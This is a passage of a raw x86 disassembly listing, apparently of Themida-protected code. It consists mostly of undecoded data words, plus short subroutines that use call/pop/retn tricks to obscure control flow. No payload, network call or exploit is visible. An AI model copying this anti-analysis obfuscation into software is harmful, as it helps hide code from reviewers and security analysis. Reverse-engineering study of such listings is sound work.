		dd 0E6061200h, 0B1BD8B70h, 2906122Ah, 122911B5h, 6A71E406h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 9447C357h, 9685039Ah, 613CED23h, 224830Fh
		dd 6CBF0000h, 0F70AC7Eh, 6AD8B6h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 95E0C3C3h, 10BC4EBh
		dd 121FB985h, 0F350BE06h, 6BA55FFh, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 239FC351h, 36755144h, 6AC38BF8h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 84A3C357h
		dd 0B58B1E68h, 6122EE5h, 5704E8C1h, 1601BD8Bh, 665F0612h
		dd 6AE2F7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 9D18F0C3h, 664C34E6h, 0D82BF98Bh,	1C9DB589h
		dd 56580612h, 19B58589h, 2B5E0612h, 57880FD8h, 6A000001h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 8239C355h, 8B3AA8EFh, 1229C5B5h, 7B906h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 0C1830DC3h, 10E900h, 3E940000h, 0E968151Eh
		dd 55D29C04h, 18A68EBDh, 0D93BF083h, 0F0860Fh, 66F50000h
		dd 6AD98Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 4D8775C3h, 0BD298B4Dh, 61203A1h, 0F04C1F6h
		dd 0B984h, 0A995FF00h, 6A06120Ch, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0E314C355h
		dd 0E141CE36h, 658D8910h, 5B06122Ch, 0DE9h, 0D767B300h
		dd 88ACC4AEh, 169C6882h, 0C32B4966h, 1B018589h,	343D0612h
		dd 0F000008h, 6586h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 6126A734h, 0C55DBFDh
		dd 2360F045h, 122109BDh, 37E96106h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 60AAC350h, 0F07685A3h, 60F8B70Fh, 1860Fh, 8BF50000h
		dd 122BF58Dh, 0C08B6106h, 0C38BF78Bh, 0FE8BD88Bh, 13DD85C7h
		dd 41950612h, 0B70F3AB0h, 66C08BF7h, 0BD81FA8Bh, 61207E5h
		dd 7D0h, 2E850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 43C7CCC3h, 0F08B9BF9h
		dd 7E585FFh, 850F0612h,	0
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+61207E5h]
		push	0
		push	edx
		call	sub_5B9559
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B9559	proc near		; CODE XREF: Themida_:005B9551p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_5B9559	endp

; ---------------------------------------------------------------------------
		pushf
		pop	ecx
		enter	0FFFFFFA0h, 95h
		shr	dword ptr [ecx], 1
		adc	al, [esi]
		push	0
		push	eax
		call	sub_5B957E
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B957E	proc near		; CODE XREF: Themida_:005B9576p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_5B957E	endp

; ---------------------------------------------------------------------------
		jmp	short loc_5B9602
; ---------------------------------------------------------------------------
		dd 13E8A81Fh, 61000000h, 0AF997295h, 649459A0h,	0ACD5B84h
		dd 4A3C0989h, 5EF83E3Ah, 5678B890h, 0BD8B1234h,	6122EE9h
		dd 0DAD39D8Dh, 1EE90615h, 6AFFFFF9h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0B362C351h
		dd 3648C8F1h, 0C18B8AD5h, 31C98589h, 4EB0612h, 0
		dd 0E856006Ah, 3, 5EC35E20h
		db 89h,	74h
; ---------------------------------------------------------------------------


loc_5B9602:				; CODE XREF: Themida_:005B958Ej
		and	al, 4
		add	dword ptr [esp+4], 19h
		inc	esi
		push	esi
		retn
; ---------------------------------------------------------------------------
		db 0C0h
		dd 9F494357h, 50006A76h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1804h, 0C3504000h, 7CDE908Dh, 358D8938h, 8D06120Ch
		dd 12006585h, 50F98B06h, 280D8BBFh, 24048936h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 66C35040h, 0FBF7BF2h
		dd 681h, 7DBD0300h, 6A061227h, 0F88B6600h, 6A006Ah, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 5E2BE4C3h, 0E9F86697h, 8, 9637C14Dh,	3DAB63EDh, 0DD15858Dh
		dd 6A0615h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 0B4F127C3h, 0F78BB600h, 890Fh, 0C0830000h
		dd 53006A05h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 2F725B03h, 12E9D2h, 6B820000h, 0AE4CAF35h
		dd 0C5E5FDB3h, 8EE42CE1h, 0DFE50FAFh, 24048950h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 8BC35040h, 2A0DBD8Bh
		dd 6A0612h, 0E850006Ah,	3, 58C35820h, 4244489h,	4244481h
		dd 18h,	1C35040h, 9EC951B0h, 0B34D75BFh, 6A006A50h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 14B3C350h, 6704EA34h, 2F41BD8Bh, 95FF0612h, 6120B55h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 91C35343h
		dd 2B50985Bh, 13E9FAh, 3940000h, 5D3FF9DFh, 0ECDDBF1Bh
		dd 2EAF277Ah, 87D3AC9Dh, 0CA9D8D0Bh, 906159Bh, 1231F585h
		dd 8BD3FF06h, 12186DB5h, 3585FF06h, 8B061212h, 1211E5BDh
		dd 55858906h, 0E9061211h, 0E47h, 0E8h, 0ED815D00h, 615DD1Fh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 6CC35242h
		dd 47FE6994h, 2F0003A7h, 0BD8B5770h, 6123339h, 0D19D895Fh
		dd 8106122Eh, 1207E5BDh, 7D006h, 2B860F00h, 6A000001h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 2B1BC357h, 30DD9D8Bh, 6A0612h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 940911C3h
		dd 16BF194h, 1230C1BDh,	0E38106h, 6A000001h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 1E1EC355h, 6E94D75h,	92000000h, 25326681h, 0DB0BF8CAh
		dd 3F850Fh, 0BD830000h,	615DB16h, 17840F00h, 0F000000h
		dd 59E9F3B7h, 0E9000000h, 0Ah, 25DEAB2Eh, 0DA52C1EEh, 85C7D7E8h
		dd 615DB16h, 1,	880Fh, 35E90000h, 81000000h, 200AE5D7h
		dd 1685C716h, 615DBh, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 0D32FC356h,	85892618h
		dd 6121A55h, 30DD9D8Dh,	6A0612h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 22442C3h, 0BDE4B11Eh
		dd 958589C7h, 81061211h, 0FFFEFF23h, 8B6650FFh,	8C665EFBh
		dd 0ADBD89DBh, 0F6061208h, 840F04C3h, 37h, 6E8h, 0E3C21400h
		dd 5ED5C3C4h, 0CA995FFh, 6E90612h, 0FB000000h, 87F3511Ah
		dd 525090EBh, 0B66BBE60h, 0C28A6A50h, 0F905F61h, 685h
		dd 45BD8900h, 0E906121Eh, 431h,	1281B52Bh, 0B00612h, 0C870Fh
		dd 820F0000h, 6, 264DB501h, 70E60612h, 0E4F6B70Fh, 56006A71h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 666636ABh, 0F9A1DBEh, 6BAD8B6h, 66000000h, 8BA54DBFh
		dd 118531C3h, 0C106121Eh, 6A04E8h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 0B1C439C3h, 61236A52h
		dd 7CD8D89h, 0F7660612h, 50006AE2h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 374063D4h, 0A58143CFh
		dd 4519D89h, 0D82B0612h, 0DE8h,	0BF2B9300h, 0CAEA5AADh
		dd 0F91B2736h, 0CE813203h, 400800E9h, 21BE935Eh, 501B235Ah
		dd 55006A93h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 0BE224B3Dh, 66C139D3h, 0B8A4EE81h, 9E9h
		dd 88E6700h, 0B020B215h, 0B5FF1AA6h, 61207E5h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0FC35343h, 958B6095h
		dd 6122BFDh, 0F38B61FCh, 29D195FFh, 9D310612h, 61220C9h
		dd 6A00B0h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 0AAB2A7C3h, 6A70E6h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 0F06344C3h, 71E4F8CAh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 13C35040h
		dd 4FCA3D83h, 9438156Eh, 29FFBF0Fh, 12187D8Dh, 0F613C06h
		dd 27883h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 360C10D4h, 8BCC2281h, 121F55BDh
		dd 0D8B60F06h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	78C35747h, 0AE150C05h, 0BD84161Ah, 0E98589A7h
		dd 0F061229h, 1484h, 0FE900h, 22100000h, 50BF78C5h, 97AB2DE8h
		dd 623E902Dh, 6BA9Ah, 85310000h, 61211B1h, 6AC38Bh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 8D8963C3h, 61213B1h,	8B04E8C1h, 123041BDh, 0E2F76606h
		dd 31ED9D89h, 0D82B0612h, 32DBD8Bh, 0BD8B0612h,	6122171h
		dd 0BF0F5158h, 0D82B5FF8h, 1AB880Fh, 95010000h,	6121A2Dh
		dd 7B9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1A04h, 0C3504000h, 8D67F9F7h, 0BE6E19C5h, 32B6607Fh
		dd 8B00C183h, 1207F5B5h, 0FD93B06h, 16886h, 860FFC00h
		dd 0Ch,	6850Fh,	0B58B0000h, 6122EF1h, 0F6D98C66h, 840F04C1h
		dd 11Ch, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 18h,	0F5C35545h, 7A811E12h, 0FE9h, 0D86C100h, 1579E43Dh
		dd 738D9D69h, 0A5C3D42Dh, 0CA995FFh, 6A0612h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0FB6239C3h
		dd 6712B7Dh, 7E9D20Fh, 0DF000000h, 59EE4D2Eh, 9D892DDAh
		dd 61208E1h, 57006A5Bh,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 9F15BF23h, 48D73162h, 6DB58BAFh
		dd 2B061207h, 8343DC3h,	860F0000h, 74h,	0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Ah, 0CFC35646h, 0DDC06716h
		dd 0B58BF8F7h, 6122765h, 74E9h,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 0C54A094Fh
		dd 0B5891710h, 61219F1h, 1A8B0Fh, 0EE80000h, 7B000000h
		dd 728D42DCh, 9469FAA1h, 88356A34h, 0D5BD89B5h,	5E061224h
		dd 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 807870C3h, 0C9E7DE9Dh, 23C8C1C4h,	121FA9BDh
		dd 8BC38B06h, 0E5B58BD8h, 0C7061222h, 1223ED85h, 0A1279706h
		dd 0FAB70F12h, 6AC08Bh,	3E856h,	5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 8E9FFC3h
		dd 0E6000000h, 9074F952h, 81635E5Fh, 1207E5BDh,	7D006h
		dd 0C850F00h, 89000000h, 1231E9BDh, 0E585FF06h,	0FF061207h
		dd 1207E5B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 636F7A64h, 89BD03ADh, 0FF06122Ch
		dd 1229D195h, 0F3BF0F06h, 6A4090h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 29CD68C3h, 34DB960Dh
		dd 830A79A3h, 1221D1BDh, 840F0006h, 0D3h, 57E68166h, 55BD8328h
		dd 61228h, 0C1840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 0BE9BFC3h, 0F5000000h
		dd 1399396h, 269065B1h,	95FF0C34h, 61221D1h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 36C35242h, 0DD99F068h
		dd 6691D3D6h, 0B43F6BEh, 60840FC0h, 8D000000h, 124E4B8Dh
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 11E19036h, 0EAAA3B07h, 5B8h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 439360FAh, 0B3C1B125h, 6DDE819Eh, 0FF33F538h, 95BD31E1h
		dd 83061217h, 121DA1BDh, 840F0006h, 653h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Ch, 93C35545h, 41A2F767h
		dd 559E36Dh, 2855BD83h,	0F000612h, 62284h, 85B58900h, 8D061218h
		dd 121E098Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 5F14ACF0h, 9D891AF2h, 6122641h, 7C8401C7h
		dd 6A44B2h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 0A4DF2C3h, 0DAAD3F09h, 1811519h, 1499CFCBh
		dd 0F318D29h, 41C70612h, 706B3404h, 55006ACEh, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 0E4B90DCAh
		dd 633CF005h, 4ADBE60h,	0E9616ED7h, 0Ch, 744FB07Fh, 8CA8019Eh
		dd 4C069C78h, 10044181h, 6A31D6D7h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 7B0AC357h
		dd 98F35457h, 89006AF5h, 1200198Dh, 9858D06h, 0F06121Eh
		dd 0E87h, 9E900h, 242E0000h, 6B0D1C6Eh,	9050160Eh, 0F08B6650h
		dd 0A195FF90h, 6A06121Dh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 0AA74C353h,	4CC72FEDh
		dd 0BD33CAC6h, 6122BF5h, 1E098D8Dh, 1C70612h, 0
; ---------------------------------------------------------------------------
		xor	si, 23BCh
		mov	dword ptr [ecx+4], 0
		push	0
		push	ebp
		call	sub_5BA113
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BA113	proc near		; CODE XREF: Themida_:005BA10Bp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_5BA113	endp

; ---------------------------------------------------------------------------
		db 0BBh
		dd 146D78B3h, 0BE8DEh, 89660000h, 7241217Dh, 49F4AFADh
		dd 6ED5BEEAh, 8B5F5B4Ch, 121D35BDh, 0FC00B06h, 9A84h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 0D2059E50h, 5A302644h, 1EABBE66h, 4E4B8D8Dh,	44BF0612h
		dd 0B8275198h, 5, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	0B7C35242h, 0B52DFAEDh,	6AE1FF83h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0D6E1C352h
		dd 8E72E8CFh, 11E8DA6Dh, 59000000h, 80A686D8h, 4FBBDBFBh
		dd 0F7CA349h, 8595B2E8h, 0E1BBCE81h, 8D5E7656h,	121E098Dh
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 4AE6BB44h, 7D90628Ch, 66603022h,	9529D68Bh
		dd 612230Dh, 59B58B61h,	0C7061224h, 0AA727C01h,	57006A44h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 0B73298DDh, 1FBF2C1Eh, 0F6D1BEFh, 689h, 0C18D3100h
		dd 81061220h, 99CFCB01h, 0CE914h, 48BD0000h, 0D8AE0395h
		dd 4A34B445h, 41C7D402h, 78753C04h, 0FE8CEh, 0C8B10000h
		dd 6917AE88h, 0F6A5AC8Fh, 6CD9FE6h, 5E953h, 5090000h, 5FCDDE03h
		dd 10044181h, 6A31D6D7h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 0FC7C357h, 8Eh, 6A006A00h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 0CC41C357h, 0C2BE66F8h, 9858D67h,	0BF06121Eh
		dd 3A8BC1E9h, 48B0F50h,	57000000h, 895F5F56h, 6A2404h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 26D5FAC3h, 87F178A7h, 89E57209h, 120B899Dh, 0A195FF06h
		dd 6A06121Dh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 519CC350h, 266B259Dh, 9A4D026Dh
		dd 1E098D8Dh, 0BF0F0612h, 14EBBEFEh, 1C7192Bh, 0
; ---------------------------------------------------------------------------
		mov	edi, 79D514C0h
		mov	dword ptr [ecx+4], 0
		sub	[ebp+6121415h],	eax
		jmp	loc_5BA390
; ---------------------------------------------------------------------------
		db 0A6h
		dd 187A0FBEh, 0FA5A1D27h, 0F3BA9B74h, 71C02BA6h
; ---------------------------------------------------------------------------


loc_5BA390:				; CODE XREF: Themida_:005BA37Aj
		or	eax, eax
		jz	loc_5BA3EC
		push	0
		push	ebx
		call	sub_5BA3A3
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BA3A3	proc near		; CODE XREF: Themida_:005BA39Bp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_5BA3A3	endp

; ---------------------------------------------------------------------------
		db 27h
		dd 969BBEF0h, 8D8D7F5Fh, 6124E4Bh, 48F0Fh, 0BE660000h
		dd 5B8A7D4h, 29000000h,	120EC5B5h, 0E9E1FF06h, 10h, 6B469CB8h
		dd 776120C9h, 0FA0E471Fh, 74C576C0h
; ---------------------------------------------------------------------------


loc_5BA3EC:				; CODE XREF: Themida_:005BA392j
		lea	ecx, [ebp+6121E09h]
		push	0
		push	edi
		call	sub_5BA3FD
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BA3FD	proc near		; CODE XREF: Themida_:005BA3F5p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_5BA3FD	endp

; ---------------------------------------------------------------------------
		db 62h,	9Bh, 98h
		db 90h
		db 0B3h, 0BFh, 0E5h
		dd 8B32E88Fh, 0C9BD33F7h, 0C7061220h, 0CA95A501h, 85316054h
		dd 6121D61h, 18161F5h, 1499CFCBh, 3C4ABF66h, 690441C7h
		dd 1CE5F59h, 120C8DB5h,	4418106h, 31D6D710h, 6A006Ah, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 329321C3h, 8AAEC550h, 0DDBD897Bh, 8906122Dh,	120729BDh
		dd 9858D06h, 6A06121Eh,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 0D89DC350h,	6266BF0Ah
		dd 0E85018DBh, 10h, 0FA312F67h,	2C75A799h, 8E5C5918h, 30DA8AB7h
		dd 73BE6650h, 895F5E7Ah, 6A2404h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 0F40132C3h, 1175B58Bh
		dd 95FF0612h, 6121DA1h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 72C35343h, 9433ED66h,	4B423A86h, 8DFAB70Fh
		dd 121E098Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 668C2C49h, 9ED2C681h, 1C7h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 4F8552C3h, 41C7F38Bh, 4, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 9BD8B49h, 0F06122Bh
		dd 86h,	0FC00B00h, 4A84h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 0CDEC3E72h
		dd 0F8A7085h, 8D29FBB7h, 612139Dh, 4E4B8D8Dh, 8D310612h
		dd 6121FA1h, 5B8h, 1B58900h, 0FF061216h, 79BD8BE1h, 3061226h
		dd 0F206E9CAh, 6AFFFFh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 0A6F02FC3h, 0F851E4DAh, 10E95Eh
		dd 74950000h, 668B892Ch, 4F82D914h, 31709236h, 0F8601675h
		dd 68A0Fh, 85290000h, 6121635h,	41B50961h, 8B061212h, 4EBC1h
		dd 66000000h, 0BD8BF18Bh, 61208C1h, 65858Dh, 6A0612h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 8A0FACC3h, 1, 525050FCh, 850F53h, 5F000000h,	800F310Fh
		dd 2, 585A6160h, 6A240489h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 633CC356h, 6A1DF768h
		dd 0CF816684h, 0B58BE98Fh, 6121FD9h, 0B589006Ah, 6121ABDh
		dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 0F2CD53C3h, 0D0ADED90h, 0DDBF6619h, 11858D0Bh
		dd 90615EDh, 120C8D85h,	5C08306h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 2FC35646h, 0B5296055h, 612342Dh
		dd 11870Fh, 0CE90000h, 41000000h, 0F36C4E08h, 65676130h
		dd 61F06836h, 24048950h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 15h, 95C35141h, 8B006AC2h,	120329BDh, 0D1BD8B06h
		dd 6A061227h, 10E900h, 0C0840000h, 807D810h, 0FB4D6C4h
		dd 0C8AFF110h, 95FF22A6h, 6120B55h, 6820Fh, 0BD290000h
		dd 6120905h, 9BCA9D8Dh,	6A0615h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 5ADC0C3h, 0FFA92F2Fh
		dd 52006AD3h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 713CFEBCh, 8B3C6C71h, 3585FFF3h,	8B061212h
		dd 50D781F8h, 0E90A2B64h, 855h,	0E8h, 0ED815D00h, 615ED1Bh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 47C35242h
		dd 7E5BD81h, 7D00612h, 860F0000h, 10Dh,	0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Ah, 8CC35242h, 4EB7E234h
		dd 8B666141h, 499D8BFEh, 50061223h, 59B58952h, 5F061232h
		dd 0E3815Fh, 0E9000001h, 0Eh, 2A10C2FBh, 0AC91C282h, 9FC563C7h
		dd 0DB0B46D2h, 51850Fh,	8A0F0000h, 6, 3CC7CE81h, 0BD8334EBh
		dd 615EB65h, 21840F00h,	6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0E926C352h
		dd 44h,	0EB6585C7h, 10615h, 0BD230000h,	61214B1h, 2FE9h
		dd 0C7F98B00h, 15EB6585h, 6, 50006A00h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 722CE70Bh
		dd 4FAD12EAh, 23499D8Dh, 6A0612h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 0B9188CC3h, 23CCE8B9h
		dd 23812823h, 0FFFFFEFFh, 1B69BD0Bh, 8B660612h,	0DB8C66F9h
		dd 8531FE8Bh, 6120ECDh,	0F04C3F6h, 0B484h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
		dd 9B184E9Ch, 35D87E9Eh, 0B1B58B7Eh, 0FF061220h, 120CA995h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 9BDDEB3h, 11E850F8h, 80000000h, 1732B8A1h
		dd 0E4914A1Dh, 2DA9DA9Dh, 75278022h, 90E542BEh,	4895E70h
		dd 55006A24h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 3DB40CEEh, 12E845h, 0E8B20000h, 0A939AB7Fh
		dd 3CF73102h, 0EF1687B8h, 47C55B7Ch, 22EDB589h,	8B5E0612h
		dd 1229A9B5h, 422E906h,	6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 0BF0F91C3h, 0BE9FAh
		dd 0D5EC0000h, 811F61F8h, 8FEA4169h, 0E800B027h, 0Fh, 0B474BD6Bh
		dd 0E9C8E845h, 188692A4h, 0E9256463h, 5, 0BD2DB2D0h, 70E65E16h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0B1C35545h
		dd 13E87192h, 7000000h,	84BBB29Eh, 0A7B44E40h, 73D957A6h
		dd 0D90D2B9h, 0B50BFE17h, 6121F75h, 0DC9DBE5Fh,	71E4793Ah
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 10C35646h
		dd 8DA20BA4h, 0B60F1CD2h, 55006AD8h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 633E7308h
		dd 298D89F2h, 0BA061221h, 6, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 90C35343h, 8B514672h, 51006AC3h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 10B9956h, 0C19C1293h, 97BF04E8h, 667CF57Fh, 0BD8BE2F7h
		dd 612088Dh, 0B58BD82Bh, 6122E81h, 0F525093h, 0CE931h
		dd 0E48B0000h, 3B5A04FFh, 6ADA047Fh, 585AF77Bh,	5E850h
		dd 6BCE0000h, 8B83E911h, 6A935FF7h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 0A178C350h
		dd 0F38D1D00h, 0B26ABF66h, 7E5B5FFh, 6A0612h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 13D7F2C3h
		dd 5A92105Ah, 6810Fh, 0EE810000h, 56BD3ADEh, 29D195FFh
		dd 0B0F90612h, 99950100h, 0E6061210h, 57006A70h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
		dd 4EAAB7AEh, 6602DEFEh, 9197EE81h, 0E4FABF0Fh,	95895371h
		dd 61232B9h, 0F613C5Eh,	21383h,	56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 8D0182E2h, 6122711h,	0C31B58Bh, 0B60F0612h, 57006AD8h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 0E148C963h, 3AC915D9h, 0E6819F3Bh, 736CDFEDh, 0E8AD2CBEh
		dd 6BA11h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 8B66BDC3h, 49B58BF2h, 8B06121Ah
		dd 50006AC3h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 9FE15668h, 25E6815Eh, 0C1082D68h, 0BD8B04E8h
		dd 61210BDh, 6AE2F766h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 0DC41C350h,	0DDDD3640h
		dd 0EE9h, 6A149900h, 44D9C15h, 543A6830h, 8B4A5E54h, 121809B5h
